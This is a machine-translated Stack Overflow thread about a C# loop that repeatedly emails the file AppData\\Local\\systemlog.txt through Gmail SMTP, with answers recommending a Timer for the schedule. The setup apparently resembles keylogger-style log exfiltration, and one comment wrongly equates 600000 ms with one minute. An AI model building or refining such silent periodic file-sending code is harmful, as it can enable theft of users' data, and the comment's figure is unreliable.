【问题标题】:While(true) Thread.Sleep(); doesnt work how to sleep?虽然(真)线程。睡眠();不工作怎么睡觉?
【发布时间】:2020-08-05 09:37:52
【问题描述】:
            while (true)
            {
                Thread.Sleep(1);
                MailMessage mail = new MailMessage();
                SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com");

                mail.From = new MailAddress("");
                mail.To.Add("");
                mail.Subject = "Test Mail";
                mail.Attachments.Add(new Attachment(@"C:\Users\" + Environment.UserName + @"\AppData\Local\systemlog.txt"));
                mail.Body = "This is for testing SMTP mail from GMAIL";


                SmtpServer.Port = 587;
                SmtpServer.Credentials = new System.Net.NetworkCredential("", "");
                SmtpServer.EnableSsl = true;
                SmtpServer.Send(mail);



                Application.DoEvents();


            }

嘿,我希望电子邮件每 10 分钟或 1 分钟发送一次,但 Thread.Sleep(1);不起作用,我需要帮助,谢谢(;

【问题讨论】:

  • 600000 == 1 分钟。 Sleep 的参数以毫秒为单位..
  • 另外,你不应该让线程休眠,这样做会阻塞一切。
  • 我建议你查看Timer
  • Application.DoEvents(); - 每次当你发现自己需要使用这个时:问问自己“真的吗?” !
  • @Yariya 你的“更好的方法”是众所周知的反模式

标签: c# email while-loop gmail sleep


【解决方案1】:

您的(主要)错误:Thread.Sleep(Int32) 需要以毫秒为单位的值!

它有一个overload,它接受一个TimeSpan,由于它的可读性,我强烈推荐使用它。

但是对于您手头的任务,...

我建议你试试Timer:

class MailTimer
{
     private System.Timers.Timer _Timer = null;

     public void StartTimer( TimeSpan period ) // Pass your period as TimeSpan
                                               // e.g. TimeSpan.FromMinutes(10)
     {
          if( _Timer != null ) throw new InvalidOperationException("Mail Timer already started!");
          _Timer = new System.Timers.Timer(period.TotalMilliseconds);
          _Timer.Elapsed += OnTimedEvent;
          _Timer.AutoReset = true;
          _Timer.Enabled = true;
     }

     public void StopMailing()
     {
         if( _Timer == null ) return;
         _Timer.Stop();
         _Timer.Dispose();
         _Timer = null;
     }

     private static void OnTimedEvent(Object source, ElapsedEventArgs e)
     {
         TrySendMail(); // Do your Mail-Magic
     }
}

注意:这远非线程安全。也请不要只是复制和粘贴。您需要根据您的要求进行调整并采取预防措施。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2012-08-27
    • 2014-09-23
    • 1970-01-01
    • 2018-08-09
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多